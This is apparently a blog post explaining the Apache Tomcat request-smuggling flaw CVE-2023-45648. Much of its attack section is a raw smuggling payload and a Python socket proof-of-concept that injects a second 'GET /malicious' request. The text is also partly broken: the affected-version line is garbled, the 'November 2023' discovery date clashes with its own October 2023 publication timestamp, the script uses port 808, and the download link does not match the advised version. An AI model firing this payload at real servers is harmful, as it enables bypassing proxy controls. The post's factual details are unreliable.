In November 2023, security researchers uncovered a significant vulnerability, CVE-2023-45648, in Apache Tomcat - a highly popular open-source Java application server. If you’re running Tomcat behind a reverse proxy, this bug could enable attackers to smuggle requests due to improper input validation around HTTP trailer headers.

This post breaks down the vulnerability in simple language, shows you what’s happening with real code snippets, and gives you tips to keep your servers safe.

8.5. to 8.5.93

Official advisory:
- Apache Tomcat Security Advisory
- NVD entry for CVE-2023-45648

Put simply

Tomcat wasn’t validating HTTP trailer headers correctly. Attackers could craft a malformed trailer header, tricking Tomcat into splitting a single physical request into multiple logical ones. If Tomcat sits behind a reverse proxy, this can allow HTTP request smuggling.

What are HTTP Trailer Headers?

Trailer headers are part of HTTP/1.1’s chunked transfer encoding. Sometimes, the server can send extra headers after the body of a message, in what’s called the “trailer.”

Example of a well-formed request with trailers

POST /api/upload HTTP/1.1
Host: example.com
Transfer-Encoding: chunked

7
Mozilla
9
Developer

Expires: Wed, 21 Oct 2025 07:28:00 GMT
X-Extra-Header: test
<CRLF>

The message body is sent in chunks. After the last chunk, a "trailer" provides extra headers.

A malicious client might send

POST /vulnerable HTTP/1.1
Host: myserver.com
Transfer-Encoding: chunked

5
hello

EvilHeader: injected
GET /malicious HTTP/1.1
Host: myserver.com

- It splits the single HTTP request into two

- POST /vulnerable (normal)
- GET /malicious (smuggled)
- The proxy passes all bytes to Tomcat, thinking it’s a single request; but Tomcat treats part as a new, distinct request.

Below is a simple script using Python’s socket

import socket

payload = (
    b"POST /vulnerable HTTP/1.1\r\n"
    b"Host: localhost\r\n"
    b"Transfer-Encoding: chunked\r\n"
    b"\r\n"
    b"5\r\n"
    b"hello\r\n"
    b"\r\n"
    b"EvilHeader: injected\r\n"
    b"GET /malicious HTTP/1.1\r\n"
    b"Host: localhost\r\n"
    b"\r\n"
)

sock = socket.create_connection(("localhost", 808))  # or your Tomcat port
sock.sendall(payload)
print(sock.recv(4096).decode())
sock.close()

Replace "localhost" and port 808 as needed.
If vulnerable, Tomcat will treat GET /malicious as a fresh request.

Request Smuggling: Sends hidden requests upstream (e.g., to admin-only paths).

- Bypass Security: Reverse proxy logs/filters only the first request, not smuggled ones.

Upgrade Tomcat to versions:

8.5.94 or newer

Official downloads: https://tomcat.apache.org/download-90.cgi

Review access logs for out-of-order or unexplained requests.

- Use security tools like Burp Suite to test for smuggling.

Patch Example (from Tomcat changelogs)

Developers added extra validation for trailer headers to avoid parsing bogus ones.
See the source code diff for technical details.

Conclusion

CVE-2023-45648 reminds us that even subtle issues like trailer header parsing can expose all sorts of high-impact bugs. If you use Apache Tomcat, especially behind a reverse proxy, patch immediately! Attacks like request smuggling are actively being exploited and can bypass traditional security controls.

References

- Apache Tomcat Security Advisory
- NVD entry for CVE-2023-45648
- Request Smuggling Explanation
- Tomcat Downloads

If you want more detail or help testing your stack, let me know in the comments!

Timeline

Published on: 10/10/2023 19:15:09 UTC
Last modified on: 11/04/2023 06:15:52 UTC